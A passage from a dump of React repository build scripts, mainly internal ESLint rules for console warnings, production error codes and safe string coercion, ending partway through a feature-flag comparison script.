{\n          message:\n            'Expected 3 arguments in call to console.error based on the number of ' +\n            '\"%s\" substitutions, but got 1',\n        },\n      ],\n    },\n    {\n      code: \"console.error('foo is a bar under foobar', 'junk argument');\",\n      errors: [\n        {\n          message:\n            'Expected 1 arguments in call to console.error based on the number of ' +\n            '\"%s\" substitutions, but got 2',\n        },\n      ],\n    },\n    {\n      code: \"console.error('error!');\",\n      errors: [\n        {\n          message:\n            'The console.error format should be able to uniquely identify this ' +\n            'warning. Please, use a more descriptive format than: error!',\n        },\n      ],\n    },\n    {\n      code: \"console.error('%s %s, %s %s: %s (%s)', 1, 2, 3, 4, 5, 6);\",\n      errors: [\n        {\n          message:\n            'The console.error format should be able to uniquely identify this ' +\n            'warning. Please, use a more descriptive format than: ' +\n            '%s %s, %s %s: %s (%s)',\n        },\n      ],\n    },\n  ],\n});\n"
  },
  {
    "path": "scripts/eslint-rules/index.js",
    "content": "'use strict';\n\nmodule.exports = {\n  rules: {\n    'no-primitive-constructors': require('./no-primitive-constructors'),\n    'warning-args': require('./warning-args'),\n    'prod-error-codes': require('./prod-error-codes'),\n    'no-production-logging': require('./no-production-logging'),\n    'safe-string-coercion': require('./safe-string-coercion'),\n  },\n};\n"
  },
  {
    "path": "scripts/eslint-rules/no-primitive-constructors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nmodule.exports = {\n  meta: {\n    schema: [],\n  },\n  create(context) {\n    function report(node, name, msg) {\n      context.report(node, `Do not use the ${name} constructor. ${msg}`);\n    }\n\n    function check(node) {\n      const name = node.callee.name;\n      switch (name) {\n        case 'Boolean':\n          report(\n            node,\n            name,\n            'To cast a value to a boolean, use double negation: !!value'\n          );\n          break;\n        case 'String':\n          if (node.type === 'NewExpression') {\n            context.report(\n              node,\n              \"Do not use `new String()`. Use String() without new (or '' + value for perf-sensitive code).\"\n            );\n          }\n          break;\n        case 'Number':\n          report(\n            node,\n            name,\n            'To cast a value to a number, use the plus operator: +value'\n          );\n          break;\n      }\n    }\n\n    return {\n      CallExpression: check,\n      NewExpression: check,\n    };\n  },\n};\n"
  },
  {
    "path": "scripts/eslint-rules/no-production-logging.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nmodule.exports = {\n  meta: {\n    fixable: 'code',\n    schema: [],\n  },\n  create: function (context) {\n    function isInDEVBlock(node) {\n      let done = false;\n      while (!done) {\n        let parent = node.parent;\n        if (!parent) {\n          return false;\n        }\n        if (\n          parent.type === 'IfStatement' &&\n          node === parent.consequent &&\n          parent.test.type === 'Identifier' &&\n          // This is intentionally strict so we can\n          // see blocks of DEV-only code at once.\n          parent.test.name === '__DEV__'\n        ) {\n          return true;\n        }\n        node = parent;\n      }\n    }\n\n    function reportWrapInDEV(node) {\n      context.report({\n        node: node,\n        message: `Wrap console.{{identifier}}() in an \"if (__DEV__) {}\" check`,\n        data: {\n          identifier: node.property.name,\n        },\n        fix: function (fixer) {\n          return [\n            fixer.insertTextBefore(node.parent, `if (__DEV__) {`),\n            fixer.insertTextAfter(node.parent, '}'),\n          ];\n        },\n      });\n    }\n\n    function reportUnexpectedConsole(node) {\n      context.report({\n        node: node,\n        message: `Unexpected use of console`,\n      });\n    }\n\n    return {\n      MemberExpression: function (node) {\n        if (\n          node.object.type === 'Identifier' &&\n          node.object.name === 'console' &&\n          node.property.type === 'Identifier'\n        ) {\n          switch (node.property.name) {\n            case 'error':\n            case 'warn': {\n              if (!isInDEVBlock(node)) {\n                reportWrapInDEV(node);\n              }\n              break;\n            }\n            default: {\n              reportUnexpectedConsole(node);\n              break;\n            }\n          }\n        }\n      },\n    };\n  },\n};\n"
  },
  {
    "path": "scripts/eslint-rules/package.json",
    "content": "{\n  \"name\": \"eslint-plugin-react-internal\",\n  \"version\": \"0.0.0\"\n}\n"
  },
  {
    "path": "scripts/eslint-rules/prod-error-codes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst errorMap = JSON.parse(\n  fs.readFileSync(path.resolve(__dirname, '../error-codes/codes.json'))\n);\nconst errorMessages = new Set();\nObject.keys(errorMap).forEach(key => errorMessages.add(errorMap[key]));\n\nfunction nodeToErrorTemplate(node) {\n  if (node.type === 'Literal' && typeof node.value === 'string') {\n    return node.value;\n  } else if (node.type === 'BinaryExpression' && node.operator === '+') {\n    const l = nodeToErrorTemplate(node.left);\n    const r = nodeToErrorTemplate(node.right);\n    return l + r;\n  } else if (node.type === 'TemplateLiteral') {\n    let elements = [];\n    for (let i = 0; i < node.quasis.length; i++) {\n      const elementNode = node.quasis[i];\n      if (elementNode.type !== 'TemplateElement') {\n        throw new Error('Unsupported type ' + node.type);\n      }\n      elements.push(elementNode.value.cooked);\n    }\n    return elements.join('%s');\n  } else {\n    return '%s';\n  }\n}\n\nmodule.exports = {\n  meta: {\n    schema: [],\n  },\n  create(context) {\n    function ErrorCallExpression(node) {\n      const errorMessageNode = node.arguments[0];\n      if (errorMessageNode === undefined) {\n        return;\n      }\n      const errorMessage = nodeToErrorTemplate(errorMessageNode);\n      if (errorMessage === 'react-stack-top-frame') {\n        // This is a special case for generating stack traces.\n        return;\n      }\n      if (errorMessages.has(errorMessage)) {\n        return;\n      }\n      context.report({\n        node,\n        message:\n          'Error message does not have a corresponding production error code. Add ' +\n          'the following message to codes.json so it can be stripped ' +\n          'from the production builds:\\n\\n' +\n          errorMessage,\n      });\n    }\n\n    return {\n      NewExpression(node) {\n        if (node.callee.type === 'Identifier' && node.callee.name === 'Error') {\n          ErrorCallExpression(node);\n        }\n      },\n      CallExpression(node) {\n        if (node.callee.type === 'Identifier' && node.callee.name === 'Error') {\n          ErrorCallExpression(node);\n        }\n      },\n    };\n  },\n};\n"
  },
  {
    "path": "scripts/eslint-rules/safe-string-coercion.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nfunction isEmptyLiteral(node) {\n  return (\n    node.type === 'Literal' &&\n    typeof node.value === 'string' &&\n    node.value === ''\n  );\n}\n\nfunction isStringLiteral(node) {\n  return (\n    // TaggedTemplateExpressions can return non-strings\n    (node.type === 'TemplateLiteral' &&\n      node.parent.type !== 'TaggedTemplateExpression') ||\n    (node.type === 'Literal' && typeof node.value === 'string')\n  );\n}\n\n// Symbols and Temporal.* objects will throw when using `'' + value`, but that\n// pattern can be faster than `String(value)` because JS engines can optimize\n// `+` better in some cases. Therefore, in perf-sensitive production codepaths\n// we require using `'' + value` for string coercion. The only exception is prod\n// error handling code, because it's bad to crash while assembling an error\n// message or call stack! Also, error-handling code isn't usually perf-critical.\n//\n// Non-production codepaths (tests, devtools extension, build tools, etc.)\n// should use `String(value)` because it will never crash and the (small) perf\n// difference doesn't matter enough for non-prod use cases.\n//\n// This rule assists enforcing these guidelines:\n// * `'' + value` is flagged with a message to remind developers to add a DEV\n//   check from shared/CheckStringCoercion.js to make sure that the user gets a\n//   clear error message in DEV is the coercion will throw. These checks are not\n//   needed if throwing is not possible, e.g. if the value is already known to\n//   be a string or number.\n// * `String(value)` is flagged only if the `isProductionUserAppCode` option\n//   is set. Set this option for prod code files, and don't set it for non-prod\n//   files.\n\nconst ignoreKeys = [\n  'range',\n  'raw',\n  'parent',\n  'loc',\n  'start',\n  'end',\n  '_babelType',\n  'leadingComments',\n  'trailingComments',\n];\nfunction astReplacer(key, value) {\n  return ignoreKeys.includes(key) ? undefined : value;\n}\n\n/**\n * Simplistic comparison between AST node. Only the following patterns are\n * supported because that's almost all (all?) usage in React:\n * - Identifiers, e.g. `foo`\n * - Member access, e.g. `foo.bar`\n * - Array access with numeric literal, e.g. `foo[0]`\n */\nfunction isEquivalentCode(node1, node2) {\n  return (\n    JSON.stringify(node1, astReplacer) === JSON.stringify(node2, astReplacer)\n  );\n}\n\nfunction isDescendant(node, maybeParentNode) {\n  let parent = node.parent;\n  while (parent) {\n    if (!parent) {\n      return false;\n    }\n    if (parent === maybeParentNode) {\n      return true;\n    }\n    parent = parent.parent;\n  }\n  return false;\n}\n\nfunction isSafeTypeofExpression(originalValueNode, node) {\n  if (node.type === 'BinaryExpression') {\n    // Example: typeof foo === 'string'\n    if (node.operator !== '===') {\n      return false;\n    }\n    const {left, right} = node;\n\n    // left must be `typeof original`\n    if (left.type !== 'UnaryExpression' || left.operator !== 'typeof') {\n      return false;\n    }\n    if (!isEquivalentCode(left.argument, originalValueNode)) {\n      return false;\n    }\n    // right must be a literal value of a safe type\n    const safeTypes = ['string', 'number', 'boolean', 'undefined', 'bigint'];\n    if (right.type !== 'Literal' || !safeTypes.includes(right.value)) {\n      return false;\n    }\n    return true;\n  } else if (node.type === 'LogicalExpression') {\n    // Examples:\n    // * typeof foo === 'string' && typeof foo === 'number\n    // * typeof foo === 'string' && someOtherTest\n    if (node.operator === '&&') {\n      return (\n        isSafeTypeofExpression(originalValueNode, node.left) ||\n        isSafeTypeofExpression(originalValueNode, node.right)\n      );\n    } else if (node.operator === '||') {\n      return (\n        isSafeTypeofExpression(originalValueNode, node.left) &&\n        isSafeTypeofExpression(originalValueNode, node.right)\n      );\n    }\n  }\n  return false;\n}\n\n/**\n  Returns true if the code is inside an `if` block that validates the value\n  excludes symbols and objects. Examples:\n  * if (typeof value === 'string') { }\n  * if (typeof value === 'string' || typeof value === 'number') { }\n  * if (typeof value === 'string' || someOtherTest) { }\n\n  @param - originalValueNode Top-level expression to test. Kept unchanged during\n  recursion.\n  @param - node Expression to test at current recursion level. Will be undefined\n  on non-recursive call.\n*/\nfunction isInSafeTypeofBlock(originalValueNode, node) {\n  if (!node) {\n    node = originalValueNode;\n  }\n  let parent = node.parent;\n  while (parent) {\n    if (!parent) {\n      return false;\n    }\n    // Normally, if the parent block is inside a type-safe `if` statement,\n    // then all child code is also type-safe. But there's a quirky case we\n    // need to defend against:\n    //   if (typeof obj === 'string') { } else if (typeof obj === 'object') {'' + obj}\n    //   if (typeof obj === 'string') { } else {'' + obj}\n    // In that code above, the `if` block is safe, but the `else` block is\n    // unsafe and should report. But the AST parent of the `else` clause is the\n    // `if` statement. This is the one case where the parent doesn't confer\n    // safety onto the child. The code below identifies that case and keeps\n    // moving up the tree until we get out of the `else`'s parent `if` block.\n    // This ensures that we don't use any of these \"parents\" (really siblings)\n    // to confer safety onto the current node.\n    if (\n      parent.type === 'IfStatement' &&\n      !isDescendant(originalValueNode, parent.alternate)\n    ) {\n      const test = parent.test;\n      if (isSafeTypeofExpression(originalValueNode, test)) {\n        return true;\n      }\n    }\n    parent = parent.parent;\n  }\n}\n\nconst missingDevCheckMessage =\n  'Missing DEV check before this string coercion.' +\n  ' Check should be in this format:\\n' +\n  '  if (__DEV__) {\\n' +\n  '    checkXxxxxStringCoercion(value);\\n' +\n  '  }';\n\nconst prevStatementNotDevCheckMessage =\n  'The statement before this coercion must be a DEV check in this format:\\n' +\n  '  if (__DEV__) {\\n' +\n  '    checkXxxxxStringCoercion(value);\\n' +\n  '  }';\n\n/**\n * Does this node have an \"is coercion safe?\" DEV check\n * in the same block?\n */\nfunction hasCoercionCheck(node) {\n  // find the containing statement\n  let topOfExpression = node;\n  while (!topOfExpression.parent.body) {\n    topOfExpression = topOfExpression.parent;\n    if (!topOfExpression) {\n      return 'Cannot find top of expression.';\n    }\n  }\n  const containingBlock = topOfExpression.parent.body;\n  const index = containingBlock.indexOf(topOfExpression);\n  if (index <= 0) {\n    return missingDevCheckMessage;\n  }\n  const prev = containingBlock[index - 1];\n\n  // The previous statement is expected to be like this:\n  //   if (__DEV__) {\n  //     checkFormFieldValueStringCoercion(foo);\n  //   }\n  // where `foo` must be equivalent to `node` (which is the\n  // mixed value being coerced to a string).\n  if (\n    prev.type !== 'IfStatement' ||\n    prev.test.type !== 'Identifier' ||\n    prev.test.name !== '__DEV__'\n  ) {\n    return prevStatementNotDevCheckMessage;\n  }\n  let maybeCheckNode = prev.consequent;\n  if (maybeCheckNode.type === 'BlockStatement') {\n    const body = maybeCheckNode.body;\n    if (body.length === 0) {\n      return prevStatementNotDevCheckMessage;\n    }\n    if (body.length !== 1) {\n      return (\n        'Too many statements in DEV block before this coercion.' +\n        ' Expected only one (the check function call). ' +\n        prevStatementNotDevCheckMessage\n      );\n    }\n    maybeCheckNode = body[0];\n  }\n\n  if (maybeCheckNode.type !== 'ExpressionStatement') {\n    return (\n      'The DEV block before this coercion must only contain an expression. ' +\n      prevStatementNotDevCheckMessage\n    );\n  }\n\n  const call = maybeCheckNode.expression;\n  if (\n    call.type !== 'CallExpression' ||\n    call.callee.type !== 'Identifier' ||\n    !/^check(\\w+?)StringCoercion$/.test(call.callee.name) ||\n    !call.arguments.length\n  ) {\n    // `maybeCheckNode` should be a call of a function named checkXXXStringCoercion\n    return (\n      'Missing or invalid check function call before this coercion.' +\n      ' Expected: call of a function like checkXXXStringCoercion. ' +\n      prevStatementNotDevCheckMessage\n    );\n  }\n\n  const same = isEquivalentCode(call.arguments[0], node);\n  if (!same) {\n    return (\n      'Value passed to the check function before this coercion' +\n      ' must match the value being coerced.'\n    );\n  }\n}\n\nfunction isOnlyAddingStrings(node) {\n  if (node.operator !== '+') {\n    return;\n  }\n  if (isStringLiteral(node.left) && isStringLiteral(node.right)) {\n    // It's always safe to add string literals\n    return true;\n  }\n  if (node.left.type === 'BinaryExpression' && isStringLiteral(node.right)) {\n    return isOnlyAddingStrings(node.left);\n  }\n}\n\nfunction checkBinaryExpression(context, node) {\n  if (isOnlyAddingStrings(node)) {\n    return;\n  }\n\n  if (\n    node.operator === '+' &&\n    (isEmptyLiteral(node.left) || isEmptyLiteral(node.right))\n  ) {\n    let valueToTest = isEmptyLiteral(node.left) ? node.right : node.left;\n    if (\n      (valueToTest.type === 'TypeCastExpression' ||\n        valueToTest.type === 'AsExpression') &&\n      valueToTest.expression\n    ) {\n      valueToTest = valueToTest.expression;\n    }\n\n    if (\n      valueToTest.type === 'Identifier' &&\n      ['i', 'idx', 'lineNumber'].includes(valueToTest.name)\n    ) {\n      // Common non-object variable names are assumed to be safe\n      return;\n    }\n    if (\n      valueToTest.type === 'UnaryExpression' ||\n      valueToTest.type === 'UpdateExpression'\n    ) {\n      // Any unary expression will return a non-object, non-symbol type.\n      return;\n    }\n    if (isInSafeTypeofBlock(valueToTest)) {\n      // The value is inside an if (typeof...) block that ensures it's safe\n      return;\n    }\n    const coercionCheckMessage = hasCoercionCheck(valueToTest);\n    if (!coercionCheckMessage) {\n      // The previous statement is a correct check function call, so no report.\n      return;\n    }\n\n    context.report({\n      node,\n      message:\n        coercionCheckMessage +\n        '\\n' +\n        \"Using `'' + value` or `value + ''` is fast to coerce strings, but may throw.\" +\n        ' For prod code, add a DEV check from shared/CheckStringCoercion immediately' +\n        ' before this coercion.' +\n        ' For non-prod code and prod error handling, use `String(value)` instead.',\n    });\n  }\n}\n\nfunction coerceWithStringConstructor(context, node) {\n  const isProductionUserAppCode =\n    context.options[0] && context.options[0].isProductionUserAppCode;\n  if (isProductionUserAppCode && node.callee.name === 'String') {\n    context.report(\n      node,\n      \"For perf-sensitive coercion, avoid `String(value)`. Instead, use `'' + value`.\" +\n        ' Precede it with a DEV check from shared/CheckStringCoercion' +\n        ' unless Symbol and Temporal.* values are impossible.' +\n        ' For non-prod code and prod error handling, use `String(value)` and disable this rule.'\n    );\n  }\n}\n\nmodule.exports = {\n  meta: {\n    schema: [\n      {\n        type: 'object',\n        properties: {\n          isProductionUserAppCode: {\n            type: 'boolean',\n            default: false,\n          },\n        },\n        additionalProperties: false,\n      },\n    ],\n  },\n  create(context) {\n    return {\n      BinaryExpression: node => checkBinaryExpression(context, node),\n      CallExpression: node => coerceWithStringConstructor(context, node),\n    };\n  },\n};\n"
  },
  {
    "path": "scripts/eslint-rules/warning-args.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst existingErrorMap = JSON.parse(\n  fs.readFileSync(path.resolve(__dirname, '../error-codes/codes.json'))\n);\nconst messages = new Set();\nObject.keys(existingErrorMap).forEach(key =>\n  messages.add(existingErrorMap[key])\n);\n\n/**\n * The warning() function takes format strings as its second\n * argument.\n */\n\nmodule.exports = {\n  meta: {\n    schema: [],\n  },\n  create(context) {\n    // we also allow literal strings and concatenated literal strings\n    function getLiteralString(node) {\n      if (node.type === 'Literal' && typeof node.value === 'string') {\n        return node.value;\n      } else if (node.type === 'BinaryExpression' && node.operator === '+') {\n        const l = getLiteralString(node.left);\n        const r = getLiteralString(node.right);\n        if (l !== null && r !== null) {\n          return l + r;\n        }\n      }\n      return null;\n    }\n\n    return {\n      CallExpression: function (node) {\n        // This could be a little smarter by checking context.getScope() to see\n        // how warning/invariant was defined.\n        const isWarning =\n          node.callee.type === 'MemberExpression' &&\n          node.callee.object.type === 'Identifier' &&\n          node.callee.object.name === 'console' &&\n          node.callee.property.type === 'Identifier' &&\n          (node.callee.property.name === 'error' ||\n            node.callee.property.name === 'warn');\n        if (!isWarning) {\n          return;\n        }\n        const name = 'console.' + node.callee.property.name;\n        if (node.arguments.length < 1) {\n          context.report(node, '{{name}} takes at least one argument', {\n            name,\n          });\n          return;\n        }\n        const format = getLiteralString(node.arguments[0]);\n        if (format === null) {\n          context.report(\n            node,\n            'The first argument to {{name}} must be a string literal',\n            {name}\n          );\n          return;\n        }\n        if (\n          (format.length < 10 || /^[s\\W]*$/.test(format)) &&\n          format !== '%s\\n\\n%s\\n'\n        ) {\n          context.report(\n            node,\n            'The {{name}} format should be able to uniquely identify this ' +\n              'warning. Please, use a more descriptive format than: {{format}}',\n            {name, format}\n          );\n          return;\n        }\n        // count the number of formatting substitutions, plus the first two args\n        const expectedNArgs = (format.match(/%[so]/g) || []).length + 1;\n        if (node.arguments.length !== expectedNArgs) {\n          context.report(\n            node,\n            'Expected {{expectedNArgs}} arguments in call to {{name}} based on ' +\n              'the number of \"%s\" substitutions, but got {{length}}',\n            {\n              expectedNArgs: expectedNArgs,\n              name,\n              length: node.arguments.length,\n            }\n          );\n        }\n      },\n    };\n  },\n};\n"
  },
  {
    "path": "scripts/flags/flags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst babel = require('@babel/register');\nconst {transformSync} = require('@babel/core');\nconst Module = require('module');\nconst path = require('path');\nconst fs = require('fs');\nbabel({\n  plugins: ['@babel/plugin-transform-modules-commonjs'],\n});\n\nconst yargs = require('yargs');\nconst argv = yargs\n  .parserConfiguration({\n    // Important: This option tells yargs to move all other options not\n    // specified here into the `_` key. We use this to send all of the\n    // Jest options that we don't use through to Jest (like --watch).\n    'unknown-options-as-args': true,\n  })\n  .wrap(yargs.terminalWidth())\n  .options({\n    csv: {\n      alias: 'c',\n      describe: 'output cvs.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    diff: {\n      alias: 'd',\n      describe: 'output diff of two or more flags.',\n      requiresArg: false,\n      type: 'array',\n      choices: [\n        'www',\n        'www-modern',\n        'rn',\n        'rn-fb',\n        'rn-next',\n        'canary',\n        'next',\n        'experimental',\n        null,\n      ],\n      default: null,\n    },\n    sort: {\n      alias: 's',\n      describe: 'sort diff by one or more flags.',\n      requiresArg: false,\n      type: 'string',\n      default: 'flag',\n      choices: [\n        'flag',\n        'www',\n        'www-modern',\n        'rn',\n        'rn-fb',\n        'rn-next',\n        'canary',\n        'next',\n        'experimental',\n      ],\n    },\n    cleanup: {\n      describe: 'output flags by cleanup category.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n  }).argv;\n\n// Load ReactFeatureFlags with __NEXT_MAJOR__ replaced with 'next'.\n// We need to do string replace, since the __NEXT_MAJOR__ is assigned to __EXPERIMENTAL__.\nfunction getReactFeatureFlagsMajor() {\n  const virtualName = 'ReactFeatureFlagsMajor.js';\n  const file = fs.readFileSync(\n    path.join(__dirname, '../../packages/shared/ReactFeatureFlags.js'),\n    'utf8'\n  );\n  const fileContent = transformSync(\n    file.replace(\n      'const __NEXT_MAJOR__ = __EXPERIMENTAL__;',\n      'const __NEXT_MAJOR__ = \"next\";'\n    ),\n    {\n      plugins: ['@babel/plugin-transform-modules-commonjs'],\n    }\n  ).code;\n\n  const parent = module.parent;\n  const m = new Module(virtualName, parent);\n  m.filename = virtualName;\n\n  m._compile(fileContent, virtualName);\n\n  return m.exports;\n}\n\n// Load RN ReactFeatureFlags with __NEXT_RN_MAJOR__ replaced with 'next'.\n// We need to do string replace, since the __NEXT_RN_MAJOR__ is assigned to false.\nfunction getReactNativeFeatureFlagsMajor() {\n  const virtualName = 'ReactNativeFeatureFlagsMajor.js';\n  const file = fs.readFileSync(\n    path.join(\n      __dirname,\n      '../../packages/shared/forks/ReactFeatureFlags.native-oss.js'\n    ),\n    'utf8'\n  );\n  const fileContent = transformSync(\n    file\n      .replace(\n        'const __NEXT_RN_MAJOR__ = true;',\n        'const __NEXT_RN_MAJOR__ = \"next\";'\n      )\n      .replace(\n        'const __TODO_NEXT_RN_MAJOR__ = false;',\n        'const __TODO_NEXT_RN_MAJOR__ = \"next-todo\";'\n      ),\n    {\n      plugins: ['@babel/plugin-transform-modules-commonjs'],\n    }\n  ).code;\n\n  const parent = module.parent;\n  const m = new Module(virtualName, parent);\n  m.filename = virtualName;\n\n  m._compile(fileContent, virtualName);\n\n  return m.exports;\n}\n\n// The RN and www Feature flag files import files that don't exist.\n// Mock the imports with the dynamic flag values.\nfunction mockDynamicallyFeatureFlags() {\n  // Mock the ReactNativeInternalFeatureFlags and ReactFeatureFlags modules\n  const DynamicFeatureFlagsWWW = require('../../packages/shared/forks/ReactFeatureFlags.www-dynamic.js');\n  const DynamicFeatureFlagsNative = require('../../packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js');\n\n  const originalLoad = Module._load;\n\n  Module._load = function (request, parent) {\n    if (request === 'ReactNativeInternalFeatureFlags') {\n      return DynamicFeatureFlagsNative;\n    } else if (request === 'ReactFeatureFlags') {\n      return DynamicFeatureFlagsWWW;\n    }\n\n    return originalLoad.apply(this, arguments);\n  };\n}\n// Set the globals to string values to output them to the table.\nglobal.__VARIANT__ = 'gk';\nglobal.__PROFILE__ = 'profile';\nglobal.__DEV__ = 'dev';\nglobal.__EXPERIMENTAL__ = 'experimental';\n\n// Load all the feature flag files.\nmockDynamicallyFeatureFlags();\nconst ReactFeatureFlags = require('../../packages/shared/ReactFeatureFlags.js');\nconst ReactFeatureFlagsWWW = require('../../packages/shared/forks/ReactFeatureFlags.www.js');\nconst ReactFeatureFlagsNativeFB = require('../../packages/shared/forks/ReactFeatureFlags.native-fb.js');\nconst ReactFeatureFlagsMajor = getReactFeatureFlagsMajor();\nconst ReactNativeFeatureFlagsMajor = getReactNativeFeatureFlagsMajor();\n\nconst allFlagsUniqueFlags = Array.from(\n  new Set([\n    ...Object.keys(ReactFeatureFlags),\n    ...Object.keys(ReactFeatureFlagsWWW),\n    ...Object.keys(ReactFeatureFlagsNativeFB),\n  ])\n).sort();\n\n// These functions are the rules for what each value means in each channel.\nfunction getNextMajorFlagValue(flag) {\n  const value = ReactFeatureFlagsMajor[flag];\n  if (value === true || value === 'next') {\n    return '✅';\n  } else if (value === false || value === null || value === 'experimental') {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected OSS Stable value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getOSSCanaryFlagValue(flag) {\n  const value = ReactFeatureFlags[flag];\n  if (value === true) {\n    return '✅';\n  } else if (\n    value === false ||\n    value === null ||\n    value === 'experimental' ||\n    value === 'next'\n  ) {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected OSS Canary value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getOSSExperimentalFlagValue(flag) {\n  const value = ReactFeatureFlags[flag];\n  if (value === true || value === 'experimental') {\n    return '✅';\n  } else if (value === false || value === null || value === 'next') {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(\n      `Unexpected OSS Experimental value ${value} for flag ${flag}`\n    );\n  }\n}\n\nfunction getWWWModernFlagValue(flag) {\n  const value = ReactFeatureFlagsWWW[flag];\n  if (value === true || value === 'experimental') {\n    return '✅';\n  } else if (value === false || value === null || value === 'next') {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (value === 'gk') {\n    return '🧪';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected WWW Modern value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getWWWClassicFlagValue(flag) {\n  const value = ReactFeatureFlagsWWW[flag];\n  if (value === true) {\n    return '✅';\n  } else if (\n    value === false ||\n    value === null ||\n    value === 'experimental' ||\n    value === 'next'\n  ) {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (value === 'gk') {\n    return '🧪';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected WWW Classic value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getRNNextMajorFlagValue(flag) {\n  const value = ReactNativeFeatureFlagsMajor[flag];\n  if (value === true || value === 'next') {\n    return '✅';\n  } else if (value === 'next-todo') {\n    return '📋';\n  } else if (value === false || value === null || value === 'experimental') {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (value === 'gk') {\n    return '🧪';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected RN OSS value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getRNOSSFlagValue(flag) {\n  const value = ReactNativeFeatureFlagsMajor[flag];\n  if (value === true) {\n    return '✅';\n  } else if (\n    value === false ||\n    value === null ||\n    value === 'experimental' ||\n    value === 'next' ||\n    value === 'next-todo'\n  ) {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (value === 'gk') {\n    return '🧪';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected RN OSS value ${value} for flag ${flag}`);\n  }\n}\n\nfunction getRNFBFlagValue(flag) {\n  const value = ReactFeatureFlagsNativeFB[flag];\n  if (value === true) {\n    return '✅';\n  } else if (\n    value === false ||\n    value === null ||\n    value === 'experimental' ||\n    value === 'next'\n  ) {\n    return '❌';\n  } else if (value === 'profile') {\n    return '📊';\n  } else if (value === 'dev') {\n    return '💻';\n  } else if (value === 'gk') {\n    return '🧪';\n  } else if (typeof value === 'number' || typeof value === 'string') {\n    return value;\n  } else {\n    throw new Error(`Unexpected RN FB value ${value} for flag ${flag}`);\n  }\n}\n\nfunction argToHeader(arg) {\n  switch (arg) {\n    case 'www':\n      return 'WWW Classic';\n    case 'www-modern':\n      return 'WWW Modern';\n    case 'rn':\n      return 'RN OSS';\n    case 'rn-fb':\n      return 'RN FB';\n    case 'rn-next':\n      return 'RN Next Major';\n    case 'canary':\n      return 'OSS Canary';\n    case 'next':\n      return 'OSS Next Major';\n    case 'experimental':\n      return 'OSS Experimental';\n    default:\n      return arg;\n  }\n}\n\nconst FLAG_CONFIG = {\n  'OSS Next Major': getNextMajorFlagValue,\n  'OSS Canary': getOSSCanaryFlagValue,\n  'OSS Experimental': getOSSExperimentalFlagValue,\n  'WWW Classic': getWWWClassicFlagValue,\n  'WWW Modern': getWWWModernFlagValue,\n  'RN FB': getRNFBFlagValue,\n  'RN OSS': getRNOSSFlagValue,\n  'RN Next Major': getRNNextMajorFlagValue,\n};\n\nconst FLAG_COLUMNS = Object.keys(FLAG_CONFIG);\n\nconst INTERNAL_VARIANTS = ['WWW Classic', 'WWW Modern', 'RN FB'];\nconst OSS_VARIANTS = [\n  'OSS Next Major',\n  'OSS Canary',\n  'OSS Experimental',\n  'RN OSS',\n  'RN Next Major',\n];\n\n// Build the table with the value for each flag.\nfunction buildTable(filterFn) {\n  const isDiff = argv.diff != null && argv.diff.length > 1;\n  const table = {};\n  const filteredFlags = filterFn\n    ? allFlagsUniqueFlags.filter(filterFn)\n    : allFlagsUniqueFlags;\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const flag of filteredFlags) {\n    const values = FLAG_COLUMNS.reduce((acc, key) => {\n      acc[key] = FLAG_CONFIG[key](flag);\n      return acc;\n    }, {});\n\n    if (!isDiff) {\n      table[flag] = values;\n      continue;\n    }\n\n    const subset = argv.diff.map(argToHeader).reduce((acc, key) => {\n      if (key in 